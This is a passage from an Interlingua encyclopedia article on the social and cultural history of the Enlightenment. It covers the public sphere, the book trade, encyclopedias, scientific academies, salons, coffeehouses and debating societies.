Hungaria, e Russia. Intellectuals como Robert Darnton e Jürgen Habermas se concentrava sur le conditiones social del Illuminismo. Habermas describeva le creation del spheras public burgese in le Europa del seculo 18, includente venues e modos nove de communication que facilitava excambio rational. Habermas diceva que le sphera public esseva burgese, egalitarian, rational, e independente del stato, faciente-lo le loco ideal pro intellectuallos pro examinar criticamente le politicas e societates contemporanee, separate del interferentia del autoritate establite. Ben que le sphera public esse generalmente un componente integral del studio social del Illuminismo, altere historicos questionava si le sphera public habeva iste characteristicas.\nSocietate e CulturaModificar\nIn contraste con le approche historiographic intellectual del Illuminismo que examina le varie currentes o discursos del pensiero intellectual intra le contexto europee durante le seculos XVII e XVIII, le approche cultural e social examina le cambios que occurreva in le societate e cultura europee. Iste approche studia le processo de cambios de sociabilitates e practicas cultural durante le Illuminismo.\nUn del elementos principal del cultura del Illuminismo esseva le emergentia del sphera public, un \"regno de communication marcate per arenas nove de debatto, formas de spatio public e sociabilitate plus aperte e accessibile, e un scander de cultura textual\" durante le fin del seculo 17 e le seculo 18. Elementos del sphera public includeva que illo esseva egalitarian, que illo tractava le dominio del interesse commun, e que le argumentation esseva fundate sur ration. Habermas usa le termino interesse commun pro describer ille areas de cognoscentia e discussion politic e social que esseva previemente le territorio exclusive del stato e del autoritates religiose, nunc aperte al examen critic per le sphera public. Le valores de iste sphera public burgese includeva considerar le ration como supreme, considerar omne cosas como aperte al critica (le sphera public esse recensente), e le opposition a omne sorta de secreto.\nLe creation del sphera public esseva associate con duo tendentias historic de durata longe: le ascension del stato nation modern e le ascension del capitalismo. Le stato nation modern in le consolidation suo del poter public ha create parallelmente un sphera private del societate independente del stato, que ha producite le sphera public. Le capitalismo anque ha augmentate le autonomia e le conscientia del societate, alsi como le necessitate crescente pro le excambio del information. Como le sphera public nascente se expandeva, illo imbraciava un varietate grande de institutiones, e le plus communemente citate esseva le caffes, le salones, e le sphera public litterari, figurativemente localisate in le Republica del Litteras. In Francia, le creation del sphera public ha essite adjutate per le movimento del aristocratia ab le palatio del rege in Versailles a Paris circa le anno 1720, proque le expenderes lore ric permitteva le commercio de luxuries e creationes artistic, particularmente le picturas fine.\nLe contexto pro le emergentia del sphera public esseva le cambios economic e social generalmente associate con le Revolution Industrial: \"Expansion economic, urbanisation e population crescente, e communicationes melior in comparison al stagnation del seculo anterior.\" Le efficientia crescente in technicas de production e communication reduciva le precios de benes de consumo e augmentava le quantitate e varietate de benes disponibile pro consumitores (includente le litteratura essential pro le sphera public). Al tempore mesmo, le experientia colonial (le plus parte del statos westic habeva imperios colonial in le seculo 18) comenciava a exponer le societate westic a culturas extrememente heterogene, conducente al disbandation de \"barrieras inter systemas cultural, divisiones religiose, differentias de generes, e zonas geographic.\"\nLe parola public implica le plus grande nivello de inclusivitate, per definition, le sphera publica deberea esser aperite a omnes. Tamen, iste sphera esseva solo public al grados relative. Pensatores del Illuminismo frequentemente contrastava le conception lore del publico con illo del plebes: Condorcet scribeva de opinion e populo, Marmontel \"le opinion del homines de litteras\" e \"le opinion del multitudine,\" e d'Alembert le \"publico vermente illuminate\" con \"le multitudine cec e rumorose.\" De plus, le majoritate del institutiones del sphera publica excludeva le feminas e le classes inferior. Influentias transclassic occurreva per medio del participation nobile e del classes inferior in areas tal como le caffes e le logias masonic.\nImplicationes in le ArtesModificar\nA causa del emphase sur ration supra superstition, le Illuminismo cultivava le artes. Le accentuation sur studio, arte, e musica deveniva plus commun, particularmente con le classe medie crescente. Areas de studio como le litteratura, philosophia, scientia e le belle artes investigava le themas al quales le publico general, e le professionistos e riccos previemente plus separate, poteva identificar-se.\nProque le musicos dependeva plus de supporto public, concertos public deveniva sempre plus popular e ajutava a supplementar le profitos del performatores e compositores. Iste concertos anque les-ajutava a attinger un audientia plus extensive. Handel, per exemplo, epitomisava isto con le activitates sue musical multo public in London. Ille ganiava fama considerabile ibi con le representantias de le operas e oratorios sue. Le musica de Haydn e Mozart, con le stilos lore classic viennese, son generalmente considerate como essente le plus concordante con le idealos del Illuminismo.\nLe desiro de explorar, registrar, e systematisar cognoscentia habeva un impacto importante sur le publication de musica. Le Dictionnaire de Musique de Rousseau (publicate in 1767 in Geneva e in 1768 in Paris) esseva un texto principal del fin del seculo 18. Iste dictionario ampliamente disponibile offereva definitiones breve de parolas como genio e gusto, e esseva clarmente influentiate per le movimento del Illuminismo. Un altere texto influentiate per valores del Illuminismo esseva A General History of Music: From the Earliest Ages to the Present Period de Charles Burney (1776), que esseva un surveyo historic e un tentativa de rationalisar systematicamente le elementos musical al longo del tempore. Recentemente, musicologos ostendeva un interesse renovate in le ideas e consequentias del Illuminismo. Per exemplo, le libro Deconstructive Variations de Rose Rosengard Subotnik (con le subtitulo Music and Reason in Western Society) compara Die Zauberflöte de Mozart (1791) usante le perspectivas del Illuminismo e del Romanticismo e conclude que le obra esse \"un representation musical ideal del Illuminismo.\"\nCon le expansion del economia e del classe medie, le numero de musicos amator cresceva. Un manifestation de isto involveva le feminas, qui deveniva plus involite in le musica a nivello social. Le feminas jam esseva involite in rolos professional como cantatores e cresceva le presentia lore in le scena de musica amator, specialmente in le musica pro claviatura. Le editores de musica comenciava a imprimir musica que amatores poteva comprender e jocar. Le majoritate del obras que esseva publicate esseva pro claviatura, voce e claviatura, e ensemble de camera. Post que iste prime genres esseva popularisate, a partir del medio del seculo, gruppos amator cantava musica choral, que deveniva un tendentia nove pro le editores a capitalisar. Le studio crescente del artes belle, e le accesso a obras publicate pro amatores, portava a plus de personas a interessar-se in le lection e discussion de musica. Revistas de musica, revisiones, e opusculos critic que satisfaciava amatores como etiam connaissores comenciava a apparer.\nPropagation de IdeasModificar\nLe philosophos spendeva energia multe propagava le ideas lore inter homines e feminas educate in citates cosmopolitan. Illes usava multe venues, alcunes de illos multo nove.\nRepublica de LitterasModificar\nLe termino \"Republica de Litteras\" esseva create in 1664 per Pierre Bayle in su jornal Nouvelles de la Republique des Lettres. Verso le fin del seculo 18, le editor del Histoire de la République des Lettres en France, un studio litterari, describeva le Republica de Litteras como:\nIn medio de tote le governos que decide le fato del homines; in le sino de tantos statos, le majoritate de illos despotic ... il ha un certe regno que domina solmente sur le mente ... que nos honorifica con le nomine de Republica, proque illo preserve un mesura de independentia, e proque le essentia suo es esser libere. Illo es le regno del talento e del pensamento.\nLe Republica del Litteras esseva le summation de multe idealos del Illuminismo: un reigno egalitarian governate per information que poteva ager trans le frontieras politic e rivalisar le poter del stato. Illo esseva un forum que supportava le \"examination public e libere de questiones concernente le religion e le legislation.\" Kant considerava le communication scribite essential a le conception sue del sphera public; quando omnes face parte del \"publico litterate\", le societate pote esser appellate illuminate. Le homines qui participava in le Republica del Litteras, tal como Diderot e Voltaire, son frequentemente cognoscite hodie como figuras importante del Illuminismo. Le homines qui scribeva le Encyclopédie de Diderot pote esser arguite haber formate un microcosmo del republica litterari plus grande.\nMulte feminas esseva essential in le Illuminismo francese pro le parte que illas jucava como salonnieras in le salones parisian, como le contrasto al philosophos mascule. Le salon esseva le institution social principal del republica e \"deveniva le spatios de labor civil del projecto del Illuminismo\". Feminas, como salonnieras, esseva \"le governoras legitime del discurso potentialmente tumultose\" que habeva loco interne. In tanto que le feminas esseva marginalisate in le cultura public del Regime Ancian, le Revolution francese destrueva le restringeres ancian cultural e economic de patronage e corporatismo, aperiente le societate francese al participation feminine, particularmente in le sphera litterari.\nIn Francia, le homines de litteratura establite (gens de lettres) habeva fusionate con le elites (les grands) del societate francese al medio del seculo 18. Isto conducente al creation de un sphera litterari oppositional, Grub Street, le dominio de un \"multitude de poetos e autores aspirante.\" Iste homines veniva a London pro devenir autores, e discoperiva que le mercato litterari non poteva supportar un quantitate grande de autores, qui esseva remunerate mal per le corporatos de publicatores.\nLe scribitores de Grub Street, le Grub Street Hacks, se sentiva frustrate pro le successo relative del homines de litteratura e trovava un canal pro le litteratura lore que esseva typificate per le libello. Scribite principalmente como pamphletos, le libello \"calumniava le corte, le Ecclesia, le aristocratia, le academias, le salons, tote lo que esseva elevate e respectabile, includente le monarchia mesme\". Le Gazetier Cuirassé de Charles Théveneau de Morande esseva un prototypo del genere. Il esseva le literatura de Grub Street que esseva le plus legite per le publico durante le Illuminismo. Secundo Darnton, le Grub Street Hacks inheritava le \"spirito revolutionari\" ostentate previemente per le philosophos, e paviva le strada pro le Revolution francese, desacralisante le figuras de autoritate politic, moral, e religiose in Francia.\nIndustria de LibrosModificar\nLe crescentia del consumo de materiales de lectura de tote sorte esseva un del characteristicas clave del Illuminismo social. Le developpamentos del Revolution Industrial permitteva benes de consumator a esser producite in quantitates plus grande a precios minus, encouragente le diffusion de libros, pamphletos, jornales e revistas - media de transmission de ideas e attitudines. Le developpamentos commercial similmente aggrandiva le demanda pro information, conjunctemente con le accrescimento del populationes e le urbanisation. Tamen, le demanda pro material de lectura se extendeva foras del dominio commercial e del classes superior e medie, como evidenciate per le bibliotheque bleue. Il esse difficile evaluar le rata de alphabetisation, ma in Francia le rata se duplicava durante le curso del seculo 18. Reflectente le influentia diminuente del religion, le numero de libros sur le scientia e le arte publicate in Paris se duplicava de 1720 usque a 1780, durante que le numero de libros sur religion se reduciva a un decime del total.\nLe lectura se cambiava significative in le seculo 18. Rolf Engelsing in particular ha argumentate pro le existentia de un revolution del lectura. Usque a 1750, le lectura esseva facite intensive: le homines tendeva a posseder un numero parve de libros e los-legeva repetitivemente, frequentemente a un audientia parve. Post 1750, le homines comenciava a leger extensivemente, cercante tanto libros como possibile, e los-legeva privatemente. Isto esse corroborate per le crescentia del ratas de alphabetisation, particularmente inter le feminas.\nLe majoritate grande del publico legente non poteva detener un bibliotheca private, e, ben que le majoritate del bibliothecas universal gestite per le stato installate in le seculos XVII e XVIII esseva aperte al publico, illos non esseva le fontes sol de material de lectura. In un extremo del spectrum se trovava le bibliothèque bleue, un collection de libros producite de maniera economic publicate in Troyes, Francia. Designate pro un audientia principalmente rural e semiculte, iste libros includeva almanaches, narrativas de romances ancian e versiones condensate de romances popular, inter altere cosas. Ben que alcun historicos ha argumentate contra le penetration del philosophia del Epocha del Illuminismo in le classes inferior, le bibliothèque bleue representava al minus un desiro de participar in le sociabilitate del Epocha del Illuminismo. Ascendente verso le classes superior, institutiones diverse offereva al lectores accesso al material sin necessitar a comprar ulle. Bibliothecas que prestava le material lore pro un parve precio comenciava a apparer, e occasionalmente, librerias offereva un bibliotheca de prestate a le clientes lore. Le cafes offereva libros, jornales e, a vices, romances popular a le clientes lore. Tatler e The Spectator, duo periodicos influential vendite inter 1709 e 1714, esseva intimemente associate con le cultura del cafes in Londra, essente legite e producite in cafes varie del citate. Isto esse un exemplo del function triple o quadruple del cafeteria: le material de lectura sovente esseva obtenite, legite, discutite, e mesme producite ibi.\nIl esse difficile determinar lo que le homines legeva durante le epocha del Illuminismo. Per exemplo, le examination del catalogos de bibliothecas private dava un imagine inclinate al classes affluente qui poteva permiter-se bibliothecas, e tamben ignorava le obras censurate que il esse pauco probabile esseva annunciata publicamente. Pro iste motivo, un studio del publication esse multo plus productive pro discernir le habitos de lectura. In tote le Europa, ma specialmente in Francia, libraros e editoros habeva a tractar con le leges de censura con varie grados de strictessa. Per exemplo, le Encyclopédie evitava de pauco esser confiscate e habeva esser salvate per Malesherbes, le homine in responsibilitate del censor francese. In veritate, multe companias de publication se trovava commodemente foras de Francia pro evitar censores francese superzelose. Illes contrabandava le mercantias lore trans le frontieras, ubi illos esseva transportate a libraros clandestine o venditores de strada. Le registros de libraros clandestine dice plus de que le Franceses literate vermente legeva, date que le natura lore clandestine provideva un selection de productos minus restrictiv. In un caso, le libros politic esseva le categoria le plus popular, primarimente libellos e pamphletos. Le lectores esseva plus interessate in novellas sensationaliste sur criminalitate e corruption politic que in theorias politic. Le secunde plus popular categoria, obras general (isto esse, libros que non habeva un thema dominante e que contineva qualcosa pro offender quasi tote le autoritates), demonstrava un demanda alte pro litteratura subversive de qualitate generalmente basse. Tamen, iste obras nunquam deveniva parte del canon litterari e son largemente oblidate hodie como consequentia.\nUn industria editorial san e legal existeva in Europa, ben que editores e libreros establite occasionalmente infringeva le lege. Per exemplo, le Encyclopédie condemnate tanto per le Rege como per Clemente XII, trovava totevia le viage suo al impression con le adjuta del supramentionate Malesherbes e le uso creative del lege francese de censura. Ma multe obras se vendeva sin alcun problema legal. Le registros de prestation de bibliothecas in Grandbrittania, Germania, e Nordamerica indica que plus que 70% del libros prestate esseva romances. Minus que 1% del libros esseva de natura religiose, indicante le tendentia general de un declino del religiositate.\nHistoria NaturalModificar\nUn genere que se elevava multo in importantia esseva le litteratura scientific. Le historia natural, particularmente, deveniva sempre plus popular inter le classes superior. Inter le obras de historia natural se includeva \"Histoire naturelle des insectes\" de René-Antoine Ferchault de Réaumur e \"La Myologie complète, ou description de tous les muscles du corps humain\" de Jacques Gautier d'Agoty (1746). Le historia natural esseva un parte importante de medicina e industria, includente le campos de botanica, zoologia, meteorologia, hydrologia, e mineralogia. Studentes in universitates e academias del Epocha del Illuminismo studiava iste subjectos pro preparar se pro carrieras multo diverse como medicina e theologia. Como monstrate per Matthew Daniel Eddy, le historia natural in iste contextos esseva un activitate de classe medie e functionava como un area fecunde pro le cambio interdisciplinari de ideas scientific diverse.\nLe audientia del historia natural in le Francia del Regime-Ancian esseva le classe superior francese, demonstrate plus per le discurso specific del genere que per le precios generalmente alte de le obras suo. Naturalistos satisfaceva le desiro del erudition del classe superior: multe textos habeva un scopo instructive explicite. Tamen, le historia natural esseva frequentemente un affaire politic. Como scribe Emma Spary, le classificationes usate per naturalistas \"glissava inter le mundo natural e social ... pro establir non solmente le expertisa del naturalistos super le natural, sed anque le dominio del natural super le social.\" Le idea de gusto esseva un indicator social: pro vere categorisar le natura, on debe haber le gusto appropriate, un habilitate de discretion communicate inter omne membros del classe superior. In iste maniera, le historia natural propagava multe del progressos scientific del tempore ma anque forniva un fonte nove de legitimitate pro le classe dominante. A partir de iste base, le naturalistos poteva developpar le ideales lore proprie social basate sur le obras scientific lore.\nJornales Scientific e LitterariModificar\nLe prime periodicos scientific e litterari esseva establite durante le Illuminismo. Le prime periodico, le Journal parisian des Sçavans, appareva in 1665. Tamen, il non esseva usque a 1682 que periodicos comenciava esser plus amplemente producite. Le francese e le latino esseva le linguas dominante del publication, ma il habeva etiam un demanda constante pro material in germano e nederlandese. In general, il habeva un basso demanda pro publicationes anglese in Europa, que reflecteva le manco similar de desiro in Anglaterra pro obras francese. Linguas con un demanda minus international - tal como danese e portugese - trovava plus difficile a attinger successo con le periodicos, e un lingua plus international esseva usate in le loco lore. Gradualmente, le francese assumeva le status de lingua franca del circulos erudite, lo que dava le predominio al industria editorial in Nederlanda, ubi le majoritate de iste periodicos francese esseva producite.\nJonathan Israel ha nominate le jornales le innovation cultural le plus influente del cultura intellectual europee. Illos transfereva le attention del publico culturate ab le autoritates establite al novitate e innovation, e promoveva le ideales illuministic del toleration e objectivitate intellectual. Essente un fonte de apprendition derivate ab scientia e ration, illos criticava implicitemente le notiones existente del veritate universal monopolisate per monarchias, parlamentos, e autoritates religiose. Illos promoveva etiam le Christianismo illuministic que defendeva le legimitate del autoritate ordinate per Deo, le Biblia, in lo qual il habeva accordo inter le theorias natural e biblic.\nEncyclopedias e DictionariosModificar\nBen que le existentia de encyclopedias e dictionarios se extendeva usque al tempores antique, le textos cambiava ab definitiones de parolas in un lista longe a discussiones multo plus detaliate de parolas in dictionarios encyclopedic del seculo XVIII. Illos faceva parte de un movimento illuministe pro systematisar cognoscentia e fornir education a un audientia plus large que le elites. Con le progresso del seculo XVIII, le contento de encyclopedias cambiava secundo le gustos del lectores. Le volumines tendeva a accentuar plus forte le affaires secular, particularmente in scientia e technologia, que in materias de theologia.\nLectores favoreva topicos seculares e un schema de ordination alphabetical super obras ordinate secundo themas. Commentante sur le alphabetisation, le historico Charles Porset ha dicite que \"como le grado zero de taxonomia, le ordine alphabetical autorisava tote strategias de lectura; in iste respecto illo pote esser considerate como un emblema del Illuminismo\". Pro Porset, le evitation de systemas thematic e hierarchic permitteva un interpretation libere del obras e deveniva un exemplo de egalitarianismo. Encyclopedias e dictionarios deveniva etiam plus popular durante le Epocha del Illuminismo como le numero de consumitores educate qui poteva acquirer tal textos comenciava a multiplicar. In le secunde medietate del 18 seculo, le numero de dictionarios e encyclopedias publicate per decada cresceva ab 63 inter 1760 e 1769 a circa 148 in le decada ante le Revolution Francese. Con le crescimento in numeros, dictionarios e encyclopedias anque cresceva in longor, frequentemente habente plure impressiones que a vices includeva editiones supplementari.\nLe prime dictionario technic esseva elaborate per John Harris e intitulate Lexicon Technicum: Or, An Universal English Dictionary of Arts and Sciences. Le libro de Harris evadeva entratas theologic e biographic, e se concentrava sur scientia e technologia. Publicate in 1704, le Lexicon Technicum esseva le prime libro scribite in Anglese que prendeva un approche methodic pro describer mathematica, arithmetica commercial, scientias physic, e navigation. Altere dictionarios technic sequeva le modello de Harris, includente le Cyclopaedia de Ephraim Chambers (1728), que includeva cinque editiones e esseva un obra multo plus grande que illo de Harris. Le edition folio del obra etiam includeva gravuras extensibile. Le Cyclopaedia emphasava le theorias newtonian, le philosophia lockean, e contineva examinamentos profunde de technologias, tal como inscriptura, fermentation, e tintura.\nIn le statos german, obras practic de referentia pro le majoritate noneducate deveniva popular in le seculo XVIII. Le Marperger Curieuses Natur-, Kunst-, Berg-, Gewerk- und Handlungs-Lexicon (1712) explicava terminos que describeva utilemente le commercio e le education scientific e commercial. Le Jablonski Allgemeines Lexicon (1721) esseva plus cognoscite que le Handlungs-Lexicon e subliniava subjectos technic plus que theoria scientific. Pro exemplo, plus de quinque columnas de texto esseva dedicate al vino, durante que geometria e logica esseva allocate solmente vinti-duo e decesepte lineas respectivemente. Le prime edition del Encyclopedia Britannica (1771) esseva modelate secundo le mesme methoda que le lexicones german.\nTamen, le prime exemplo de obra de referentia que systematisava cognoscentia scientific in le Epoch del Illuminismo esseva encyclopedias universal in vice de dictionarios technic. Le scopo de encyclopedias universal esseva registrar omne cognoscentia human in un obra de referentia comprehensive. Le obra le plus cognoscite de istos esseva le Encyclopédie, ou dictionnaire raisonné des sciences, des arts et des métiers de Diderot e d'Alembert. Le obra, que comenciava a esser publicate in 1751, esseva composite de 35 volumines e plus de 71.000 entratas separate. Un numero grande de entratas esseva dedicate a describer le scientias e artes in detalio, e provideva intellectualos trans Europa con un surveyo de cognoscentia human de qualitate alte. In le Discorso Preliminar al Encyclopedia de Diderot, le scopo del obra de registrar le extento de cognoscentia human in le artes e scientias es depictite:\nComo un Encyclopedia, illo describe le ordine e le connexion inter le partes del cognoscentia human. Como un Dictionario del Scientias, Artes, e Mestieros, illo debe continer le principios general que forma le base de cata scientia e cata arte, liberal o mechanical, e le factos essential que compone le corpore e substantia de cata uno.\nLe obra massive esseva organisate secundo un arbore de cognoscentia. Le arbore reflecteva le division marcate inter le artes e le scientias, que resultava principalmente del ascension del empiricismo. Ambe dominios de cognoscentia esseva unite per le philosophia, o le trunco del arbore de cognoscentia. Le desacralisation del religion in le Epocha del Illuminismo esseva professate in le designo del arbore, particularmente quando le theologia se trovava in un branca peripheric, con magia como un vicino proxime. Como le Encyclopédie deveniva plus popular, illo esseva publicate in editiones de quarto e octavo post 1777. Le editiones de quarto e octavo costava multo minus que le editiones anterior, faciente le Encyclopédie plus accessibile al publico. Robert Darnton estima que il habeva approximativemente 25,000 copias del Encyclopédie in circulation in Europa ante le Revolution Francese. Le encyclopedia extensive e economic deveniva le symbolo del transmission del education illuministic e scientific al publico ascendente.\nPopularisation del ScientiaModificar\nUn del developpmentos le plus importante que le Epocha del Illuminismo ha aportate al disciplina del scientia esseva le popularisation suo al publico. Un population sempre plus alphabetic cercante cognoscentia e education in le artes e le scientias promoveva le progresso del cultura de impression e le expansion del scientia. Le population alphabetic nove esseva causate per un disponibilitate elevate de cibo; isto permitteva multe personas a sortir del pauperitate e, in loco de pagar plus pro cibo, illes habeva denaro pro le education. Le popularisation faceva parte de un ideal del Illuminismo que essayava de poner informationes al disposition del maximo del homines. Con le crescimento de interesse public in philosophia natural durante le seculo 18, le cursos de lectiones public e le publication de textos popular aperiva camminos nove al fortuna e fama pro amatores e scientistos qui remaneva in le peripheria del universitates e academias. Obras plus formal includeva explicationes de theorias scientific pro personas sin le fundamento educative pro comprender le texto scientific original. Le celebrate Philosophiae Naturalis Principia Mathematica de Newton esseva publicate in Latin e remaneva inaccessibile a lectores sin education in le classicos usque que scriptores del Illuminismo comenciava a traducer e analysar le texto in le vernacular.\nLe prime obra significative que exprimeva theoria e cognoscentia scientific specialmente pro laicos, in le lingua vernacular, e con le scopo de amusar le lectores, esseva \"Conversations on the Plurality of Worlds\" de Bernard de Fontenelle (1686). Le libro esseva producite specificamente pro le feminas con interesse in le scriptura scientific e inspirava un varietate de obras similar. Iste obras popular esseva scribite in un stilo discursive, que esseva multo plus clar al lectore que le articulos, tractatos e libros complicate que le academias e scientistos publicava. \"Astronomy\" de Charles Leadbetter (1727) esseva publicitate como \"un obra completamente nove\" que includeva \"Regulas breves e faciles e Tabellas Astronomic\".\nLe prime introduction in Francese del Newtonianismo e del Principia esseva Elementes del Philosophia de Newton, publicate per Voltaire in 1738. Anque le traduction de Emilie du Châtelet del Principia, publicate post le morte sua in 1756, adjutava a propagar le theorias de Newton foras le academias scientific e le universitates. Pro un audientia feminin, Francesco Algarotti publicava Il Newtonianism per le Dame, que esseva un obra tremendemente popular e que esseva traducite del Italiano al Anglese per Elizabeth Carter. Un introduction simile del Newtonianismo pro le feminas esseva producite per Henry Pemberton. Le sue A View of Sir Isaac Newton's Philosophy esseva publicate per subscription. Le recordos del abonatos ostendeva que feminas de un ample scala social comprava le libro, indicante le numero crescente de lectoras con interesse pro le scientia inter le classe medie. Durante le epocha del Illuminismo, feminas anque comenciava a producer obras scientific popular. Sarah Trimmer scribeva un libro de texto pro pupillos titulate The Easy Introduction to the Knowledge of Nature (1782), que esseva publicate pro annos multe in dece un editiones.\nScholas e UniversitatesModificar\nLe majoritate del labor sur le Epocha del Illuminismo accentuava le ideales discutite per le intellectualos, plus que le stato del education a ille tempore. Le theoricos educative prominente como John Locke in Angleterra e Jean Jacques Rousseau in Suissa ambe emphasava le importantia de formar le mentes juvene. Al fin del Illuminismo, il habeva un demanda crescente pro un approche plus universal al education, particularmente post le Revolution Nordamerican e le Revolution Francese.\nLe psychologia educative predominante ab le annos 1750 e ulterior, particularmente in le paises del Europa nordic, esseva le associationismo: le notion que le mente associa o disassocia ideas per repetition de habitos. In addition al esser conforme al ideologias de libertate del Illuminismo, autodetermination e responsabilitate personal, illo offereva un theoria practic del mente que permitteva a professores transformar formas durabile de cultura scripte e manuscripte in instrumentos graphic effective de apprendimento pro le classes inferior e medie del societate. Infantes esseva instruite a memorisar factos per methodas orale e graphic que habe le origine lore durante le Renascentia.\nMulte del universitates principal associate con le principios progressive del Illuminismo esseva ubicite in Europa nordic, con le universitates le plus famose essente le Universitates de Leiden, Göttingen, Halle, Montpellier, Uppsala, e Edinburgh. Iste universitates, specialmente Edinburgh, produceva professores cuje ideas habeva un impacto significante sur le colonias nordamerican de Grande-Britannia e posteriormente sur le Republica Nordamerican. In le scientias natural, le schola medical de Edinburgh anque guidava in le dominio de chimia, anatomia e pharmacologia. In altere partes de Europa, le universitates e scholas de Francia e le majoritate de Europa esseva bastiones de traditionalismo e non esseva hospitabile al Illuminismo. In Francia, le exception principal esseva le universitate medical a Montpellier.\nAcademias EducateModificar\nLe historia del Academias in Francia durante le Illuminismo comenciava con le Academia de Scientia, fundate in 1635 in Paris. Illo esseva stricte ligate al stato francese, agente como un extension de un governo in manco de scientistos. Illo adjutava a promover e organisar disciplinas nove e educava scientistos nove. Illo anque contribueva al melioration del status social de scientistos, considerante-les como le \"plus utile de omne citatanos\". Le Academias probava le interesse crescente in le scientia e le secularisation suo, como evidentiate per le numero pauc de clericos qui esseva membros (13%). Le presentia del Academias francese in le sphera public non pote esser attribuite al inclusivitate lore, nam ben que le majoritate del membros lore esseva burgeses, le institution exclusive esseva solmente aperte a eruditos parisian de elite. Illes se percipeva como interpretatores del scientias pro le populo. Per exemplo, il esseva pro isto que le academicos disprobava le pseudoscientia popular del mesmerismo.\nLe contribution le plus forte del Academias francese al sphera public proveni ab concursos academic que illos patronisava in tote le Francia. Iste concursos academic esseva forsan le plus public de omne activitates academic durante le Epocha del Illuminismo. Le practica de concursos data ab Medievo e esseva revivite in le medio del seculo 17. Le subjectos habeva previemente essite generalmente religiose e\/o monarchic, con essayos, poesias, e picturas in supporto de iste subjectos. Tamen, circa 1725 le subjectos se habeva fortissimo expandite e diversificate, includente \"propaganda regal, battalias philosophic, e ruminationes critic sur le institutiones social e politic del Regime-Ancian.\" Subjectos de controversia public esseva etiam discutite, como le theorias de Newton e Descartes, le commercio sclavic, le education feminin, e le justitia in le Regno francese. Plus importantemente, le concursos esseva aperte a omnes, e le anonymitate fortiate de cata submission garantiva que ni le sexo ni le classe social determinava le judicio. In effecto, ben que le majoritate vaste de participantos apparteneva al stratos plus ric del societate (le artes libere, le clero, le judicatura e le profession medic), il habeva casos de classes popular qui presentava essayos e mesmo ganiava. Similarmente, un numero significante de feminas participava in, e ganiava, le competitiones. De un total de 2.300 concursos premiate offerite in le Francia, feminas ganiava 49, forte possibilemente un numero parve secundo le standardes moderne ma multo significante in un epocha in lo qual le majoritate del feminas non habeva ulle formation academic. Quidem, le majoritate del entratas ganiante esseva in competitiones poetic, un genere communemente accentuate in le education feminin.\nIn Angleterre, le Societate Regal de London jocava un rolo significante in le sphera public e le propagation de ideas del Illuminismo. Illo esseva fundate per un gruppo de scientistos independentes e conferite un charta regal in 1662. Le societate jocava un rolo grande in propagar le philosophia empiricistic de Robert Boyle in Grande-Britannia e Europa e ageva como un centro de coordination pro correspondentia intellectual. Boyle esseva un fundator del mundo empiricistic in lo qual scientistos vive e opera ora e le methoda sue se basava in le experimento, que debeva esser spectate pro fornir un legimitate empiric adequate. Isto esse ubi le Societate Regal esseva importante: le observation debeva esser un activitate collective e le sales de reuniones del Societate Regal esseva locationes ideal pro demonstrationes relativemente public. Tamen, non omne observatores esseva considerate credibile: \"professores de Oxford esseva considerate testimoniantes plus credibile que paisanos de Oxfordshire.\" Duo factores esseva considerate: le cognoscentia del observator in le area e le constitution moral sue. In altere parolas, solmente le societate civil esseva considerate pro le publico de Boyle.\nSalonosModificar\nSalons esseva locos ubi philosophos se reuniva e discuteva ideas vetule, actual, e nove. Isto conduceva al facto que le salonos esseva le locos de origine de ideas intellectual e illuminate.\nCafesModificar\nLe cafes esseva particularmente importante pro le propagation del cognoscentia durante le periodo del Illuminismo, proque illos creava un ambiente unic in lo qual personas de diverse spheras de vita se congregava e compartiva ideas. Illos frequentemente esseva criticate per nobilos que timeva le possibilitate de un ambiente ubi le classe lore e le titulos e privilegios accompagnante esseva ignorate. Un tal ambiente esseva particularmente intimidante pro monarchos qui derivava multe de le potentia lore ab le disparitate inter le classes de personas. Si le classes se univa sub le influentia del pensieros del Illuminismo, illes poterea recognoscer le oppression e abusos comprehensive de le monarchos lore, e a causa de le numerositate lore, poterea executar rebelliones succedite. Monarchos etiam resentiva le idea que le subjectos lore se congregava como un sol ente pro discuter questiones politic, particularmente illos concernente affaires externe — le governantos credeva que le affaires politic esseva solmente le negotio lore, un resultato de le derecto supposite divine de regnar.\nLe cafes deveniva quasi un secunde domo pro multes qui cercava involver-se in discursos con le vicinos lore e discuter questiones intrigante e provocante, particularmente in le dominio del philosophia e politica. Le cafes esseva essential pro le Illuminismo, proque illos esseva centros de pensamento libere e autodiscopertura. Ben que multe clientes del cafes esseva studiosos, un grande numero de illes non esseva. Le cafes attrahiva un varie gruppo de personas, includente le educatos ric, membros del burgessia e del classes inferior. Ben que il pote haber aspectos positive que clientes, qui esseva medicos, advocatos, mercatores, etc., representava quasi omne classes, le ambiente del cafes inspirava timor in illes qui cercava preservar le distinction inter le classes. Un del le criticas le plus popular del cafes affirmava que illos \"permetteva un association promiscue inter personas de differente gradationes del scala social, ab artisano usque a aristocrato\" e pro isto esseva comparate al Arca de Noe, que recipeva omne typos de animales, pur e impur. Iste cultura unica serviva como un catalysator pro journalismo quando Joseph Addison e Richard Steele recognosceva le potential suo como audientia. Conjunctemente, Steele e Addison publicava The Spectator (1711), un publication quotidian que, per le medium de un narrator fictive nominite Mr. Spectator, aspirava a esser tanto un fonte de diversion como de disputation sur questiones philosophic importante.\nLe prime cafes anglese aperiva in Oxford in 1650. Brian Cowan diceva que le cafeterias de Oxford se transformava in \"universitates de un denario\", offrende un loco de apprendimento que esseva minus formal que le institutiones structurate. Iste universitates de un denario occupava un position significative in le vita academic de Oxford, proque illos esseva frequentate per illes qui consequentemente esseva nominate le virtuosos, qui conduceve le recerca lore in alcun del iste locos. Secundo Cowan, \"le cafeteria esseva un loco pro studiosos con opiniones similar de congregar, leger, apprender reciprocamente e debatter inter illes, ma emphaticamente non esseva un institution universitari, e le discurso illac esseva de un ordine multo differente del qualcunque tutoria universitari\".\nLe Cafe Procope esseva establite in Paris in 1686, e per le annos 1720, il habeva circa 400 cafes in le urbe. Le Cafe Procope particularmente deveniva un centro del Illuminismo, recipiente tal celebritates como Voltaire e Rousseau. Le Cafe Procope esseva ubi Diderot e D'Alembert decideva crear le Encyclopedia. Le cafes esseva un del variose \"centros nervose\" del ruitos public. On diceva que iste ruitos esseva un fonte multo melior de information que le jornales disponibile a ille epocha.\nSocietates de DisputationModificar\nLe societates de disputation esseva un exemplo del sphera public durante le periodo del Illuminismo. Le origines lore includeva:\n- Clubes de cinquanta o plus homines qui, al principio del seculo XVIII, se congregava in tavernas pro discuter questiones religiose e affaires de stato.\n- Clubes de disputation, organisate per studentos de derecto pro practicar rhetoric.\n- Clubes de eloquio, fundate pro adjutar actoros a preparar se pro rolos theatral.\n- Le 